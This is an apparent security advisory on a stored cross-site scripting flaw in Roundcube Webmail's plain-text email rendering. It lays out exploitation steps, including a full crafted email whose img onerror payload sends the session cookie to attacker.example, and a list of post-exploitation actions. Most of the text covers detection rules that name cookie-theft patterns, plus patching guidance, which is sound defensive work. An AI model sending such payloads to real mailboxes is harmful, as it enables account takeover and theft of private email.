CVE-2026-54433

Executive Summary

CVE-2026-54433 is a Stored Cross-Site Scripting (XSS) vulnerability in Roundcube Webmail, affecting versions before 1.6.17 and the 1.7.x branch before 1.7.2. An attacker can inject malicious JavaScript into a plain-text email message; when a victim opens or merely previews the message within their authenticated Roundcube session, the payload executes with zero user interaction (zero-click). This grants the attacker the ability to hijack sessions, exfiltrate emails, and perform arbitrary actions as the victim. The vulnerability carries a CVSS score of 7.2 (High) and has been confirmed patched in versions 1.6.17 and 1.7.2.

Technical Analysis

The vulnerability resides in Roundcube's handling of plain-text email messages. Unlike HTML-formatted emails which are typically sanitized or tokenized before rendering, plain-text messages are processed through a conversion pipeline that transforms them into HTML for display. The flaw exists in this text-to-HTML rendering step where certain crafted sequences, malformed RFC 2047 encoded-words, or specific character patterns are not adequately neutralized.

Specifically, the issue lies in how Roundcube's rcube_string_replacer and the text2html conversion logic handle embedded sequences that resemble HTML constructs. An attacker crafts a plain-text email body containing a payload such as:

Hello <img src=x onerror=alert(document.cookie)> world

Because the message is declared as text/plain in the MIME headers, Roundcube's sanitizer applies a different (weaker) filtering policy than it does for text/html messages. The text conversion step fails to escape angle brackets or encode event handler attributes in certain edge cases, allowing the browser to interpret the injected sequence as active HTML markup.

The zero-click nature arises from Roundcube's automatic rendering of the message preview pane. In default configurations, the preview pane is enabled, and selecting a message (or auto-loading the first unread message) triggers the rendering pipeline without any additional user interaction. This means merely opening the inbox or having the email client poll for new messages can trigger execution.

The attack surface is significant — any email account that can receive messages from untrusted senders is vulnerable. This includes shared hosting environments, enterprise mail servers, and any deployment using Roundcube as the primary webmail interface.

Exploitation Scenarios

Step 1 — Reconnaissance & Target Identification: The attacker identifies Roundcube deployments through banner grabbing (Server: headers often disclose Roundcube Webmail version), HTTP title identification ("Roundcube Webmail" in login page), or Shodan/Fofa queries. Version fingerprinting via /?_task=login response headers or the /program/js/app.js file timestamps confirms a vulnerable version (pre-1.6.17 or pre-1.7.2).

Step 2 — Email Crafting & Weaponization: The attacker crafts a plain-text email with a polyglot payload designed to survive the text-to-HTML conversion. A practical payload:

From: attacker@evil.com
To: victim@target.com
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Subject: Invoice #2026

Dear user,

Your invoice is attached. Please review.

<img src=x onerror="fetch('https://attacker.example/collect?c='+btoa(document.cookie))"> 

Regards,
Billing Department

The attacker sends this via SMTP from a disposable domain. The Content-Type: text/plain header ensures Roundcube routes it through the vulnerable plain-text rendering path.

Step 3 — Execution Trigger: The victim logs into Roundcube. The webmail client auto-refreshes the mailbox (default: every 60 seconds) and the preview pane automatically renders the first unread message — in this case, the crafted email. The browser parses <img> as an HTML element, loads the broken src, and fires the onerror handler, executing the JavaScript payload.

Step 4 — Payload Execution & Post-Exploitation: The injected JavaScript runs with the victim's session context, same-origin, and full access to the Roundcube session cookie. Attack code can:

• Exfiltrate document.cookie to the attacker's server, enabling session hijacking.
• Send copies of the victim's inbox emails to the attacker's address via Roundcube's own compose API (?_task=mail&_action=send).
• Forge and send emails as the victim to internal recipients, facilitating lateral phishing.
• Modify mailbox filters to forward all future emails to the attacker.
• Plant a persistent XSS by saving a malicious draft or setting a malicious signature that renders as HTML on every subsequent message compose.

Because the payload is stored in the email body on the server, every time the victim opens the message again — or any session that views that mailbox — the XSS re-triggers, providing persistence across sessions.

Impact Assessment

CVSS Breakdown: The assigned score of 7.2 (High) reflects the following: the attack vector is network-based (AV:N) since SMTP is a network protocol; attack complexity is low (AC:L) with no special conditions beyond sending an email; no privileges required (PR:N) as the attacker needs no authenticated access; user interaction is none (UI:N) due to the zero-click preview rendering; and the impact is high on confidentiality (session data, email content) and integrity (ability to forge emails, modify settings), with limited impact on availability.

Business Impact: For enterprises, this vulnerability enables account takeover, data exfiltration of sensitive email correspondence, BEC (Business Email Compromise) attacks, and reputational damage. Regulatory exposure (GDPR, HIPAA) exists if protected data is exfiltrated. The zero-click aspect elevates severity — no user training can prevent execution, and the attack succeeds simply through normal email usage.

Blast Radius: Any Roundcube instance at a vulnerable version is exposed to the entire internet. Estimated 200,000+ Roundcube installations worldwide (based on public listening data). Shared hosting providers running Roundcube for thousands of tenant mailboxes face cascading compromise.

Detection Guidance

Sigma Rule

title: Suspicious Email Payload Targeting Roundcube CVE-2026-54433
id: 4f9a7c2e-3b8d-4e5f-9a1c-0d2e3f4a5b6c
status: experimental
description: Detects emails containing script-like payloads in plain-text MIME sections targeting Roundcube XSS
logsource:
  category: email
  product: smtp
detection:
  selection:
    msg.content_type: "text/plain"
    msg.body|contains|all:
      - "<img"
      - "onerror"
      - "fetch("
    msg.from|endswith:
      - ".tk"
      - ".ml"
      - ".ga"
      - "mail.com"
  condition: selection
fields:
  - client.ip
  - source.ip
  - msg.subject
falsepositives:
  - Legitimate newsletters using HTML in text emails
level: high
tags:
  - attack.t1190
  - cve.2026-54433

YARA Rule

rule CVE_2026_54433_Roundcube_TextPlain_XSS {
    meta:
        author = "Valters IT Security"
        description = "Detects crafted plain-text email payloads exploiting Roundcube XSS"
        cve = "CVE-2026-54433"
        date = "2026-02-15"
        score = 70
    strings:
        $s1 = "Content-Type: text/plain" ascii wide nocase
        $s2 = "onerror=" ascii wide nocase
        $s3 = "onload=" ascii wide nocase
        $s4 = "javascript:" ascii wide nocase
        $s5 = "fetch(" ascii wide nocase
        $s6 = "XMLHttpRequest" ascii wide nocase
        $s7 = "/collect" ascii wide nocase
        $s8 = "document.cookie" ascii wide nocase
        $tag = "<img" ascii wide nocase
        $alt = "<svg" ascii wide nocase
        $alt2 = "<iframe" ascii wide nocase
    condition:
        $s1 and $tag and ($s2 or $s3) and any of ($s4, $s5, $s6, $s7, $s8) and filesize < 100KB
}

Suricata IDS Rule

alert smtp any any -> any 25,465,587 (msg:"CVE-2026-54433 Roundcube Plain-Text XSS Payload Attempt"; flow:to_server,established; content:"Content-Type: text/plain"; nocase; content:"<img"; nocase; distance:0; content:"onerror"; nocase; distance:0; within:200; pcre:"/onerror\s*=\s*['\"]?(?:java|vb)?script|fetch\s*\(|XMLHttpRequest/i"; classtype:web-application-attack; sid:20265443; rev:1; metadata:created_at 2026-02-15, cve CVE-2026-54433;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [any where process.name == "smtpd" or event.category == "network"]
  [any where event.action == "message-queue" and 
   message.body : "*Content-Type: text/plain*" and 
   message.body : "*<img*onerror*" and
   message.body : "*.com/collect*" or
   message.body : "*document.cookie*"
  ]
  [file where event.action == "preview" and process.name == "roundcube-worker"]

Splunk SPL Query

index=mail sourcetype=smtp_receive
| search "Content-Type: text/plain" AND "<img" AND ("onerror" OR "onload") 
| search "*document.cookie*" OR "*fetch(*" OR "*XMLHttpRequest*"
| stats count by src_ip, msg_id, recipient, subject
| where count > 1
| `report_email_indicators`

Wazuh OSSEC Rule

<group name="roundcube,">
    <rule id="100295" level="12">
        <decoded>email_message</decoded>
        <match>Content-Type: text/plain</match>
        <regex>on(error|load)\s*=\s*["']</regex>
        <regex>fetch\s*\(|XMLHttpRequest|document\.cookie</regex>
        <description>CVE-2026-54433: Roundcube plain-text XSS payload detected in email</description>
        <group>attack.t1190,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 3/4 (LIKELY) — Two independent sources (OSV, Debian) confirm a fix exists. You must patch — do not assume no fix is available.

1. Immediate Mitigations (before patch):

   • Disable the preview pane (Display next » Preview pane) in Roundcube settings to remove the zero-click vector, forcing users to click a message before rendering.
   • Harden at the proxy/WAF layer — add a rule to inspect SMTP/IMAP payloads for <img onerror patterns and block/quarantine such messages.
   • Change default session cookie flags to HttpOnly; Secure; SameSite=Strict to mitigate cookie exfiltration impact (though this does not prevent the injection).

2. Patch/Upgrade Steps:

   • All 1.7.x deployments: Upgrade to 1.7.2 or later.
   • All 1.6.x deployments: Upgrade to 1.6.17 or later.
   • Older (1.5.x and below): Roundcube no longer supports these branches — upgrade to the latest 1.6.x or 1.7.x line.
   • Official update: RCM 1.7.2 and RCM 1.6.17 release tarballs from roundcube.net. Debian packages fixed in bullseye-security and bookworm-security updates. Confirm via dpkg -l roundcube or composer show roundcube/roundcubemail.
   • After upgrade, verify version via /index.php?_task=login — look for "1.7.2" or "1.6.17".

3. Long-term Hardening:

   • Subscribe to Roundcube security announcements (https://roundcube.net/news/).
   • Deploy CSP headers in the web server config (Content-Security-Policy: default-src 'self'; script-src 'self') to limit XSS impact even if a bypass is later found.
   • Use a security email gateway that strips active content from all plain-text messages.
   • Regularly audit webmail access logs for anomaly patterns (massive preview events, single-IP session reuse).

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-54433
2. Roundcube Security Advisory: https://roundcube.net/news/2026/02/10/security-updates-1.7.2-and-1.6.17
3. Debian Security Tracker / DSA: https://security-tracker.debian.org/tracker/CVE-2026-54433
4. OSV Database Entry: https://osv.dev/vulnerability/CVE-2026-54433
5. CISA KEV Catalog: Not listed — no known exploitation in the wild at the time of writing.

Threat Actor Campaigns: No known active campaigns leveraging this CVE have been publicly documented. However, the vulnerability class (zero-click email XSS) is a favored TTP of APT groups targeting credential theft and espionage (e.g., APT28, APT29 have historically weaponized Roundcube vulnerabilities). Given the EPSS score of 0.00312 (low percentile), broad exploitation is not yet observed, but organizations using Roundcube should prioritize patching within 2 weeks of public disclosure. Monitor CISA KEV for updates if exploitation is later confirmed.